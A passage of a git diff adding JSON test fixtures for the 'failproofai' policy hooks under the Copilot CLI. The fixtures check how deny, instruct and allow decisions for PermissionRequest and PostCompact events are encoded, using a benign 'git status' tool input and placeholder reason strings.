a/__tests__/parity/fixtures/copilot/PermissionRequest/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/PermissionRequest/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..7ffd565d --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PermissionRequest/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "deny", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"behavior\":\"deny\",\"message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/PermissionRequest/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/PermissionRequest/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..805fc7ff --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PermissionRequest/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "deny", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"behavior\":\"deny\",\"message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/PermissionRequest/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/PermissionRequest/deny__tool-present__one-policy.json new file mode 100644 index 00000000..fe5fd425 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PermissionRequest/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "deny", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"behavior\":\"deny\",\"message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/PermissionRequest/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/PermissionRequest/deny__tool-present__two-policies.json new file mode 100644 index 00000000..3790d5d7 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PermissionRequest/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "deny", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"behavior\":\"deny\",\"message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/PermissionRequest/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/PermissionRequest/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..57b74c3f --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PermissionRequest/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "instruct", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionRequest\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/PermissionRequest/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/PermissionRequest/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..8efce637 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PermissionRequest/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "instruct", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionRequest\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/PermissionRequest/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/PermissionRequest/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..4fae80e8 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PermissionRequest/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "instruct", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionRequest\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/PermissionRequest/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/PermissionRequest/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..39987bd6 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PermissionRequest/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "instruct", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionRequest\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/PostCompact/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/PostCompact/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..85ec4a5d --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PostCompact/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/PostCompact/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/PostCompact/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..3c063200 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PostCompact/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/PostCompact/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/PostCompact/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..d381f177 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PostCompact/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/PostCompact/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/PostCompact/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..a077c3a4 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PostCompact/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/PostCompact/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/PostCompact/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..3013f041 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PostCompact/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/PostCompact/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/PostCompact/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..f58db11d --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PostCompact/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/PostCompact/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/PostCompact/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..a6939d67 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PostCompact/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/PostCompact/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/PostCompact/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..3012e7ba --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PostCompact/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/PostCompact/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/PostCompact/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..026e2d68 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PostCompact/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "deny", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/PostCompact/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/PostCompact/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..da8e1051 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PostCompact/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "deny", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/PostCompact/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/PostCompact/deny__tool-present__one-policy.json new file mode 100644 index 00000000..d76ab870 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PostCompact/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "deny", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/PostCompact/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/PostCompact/deny__tool-present__two-policies.json new file mode 100644 index 00000000..26da5498 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PostCompact/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + 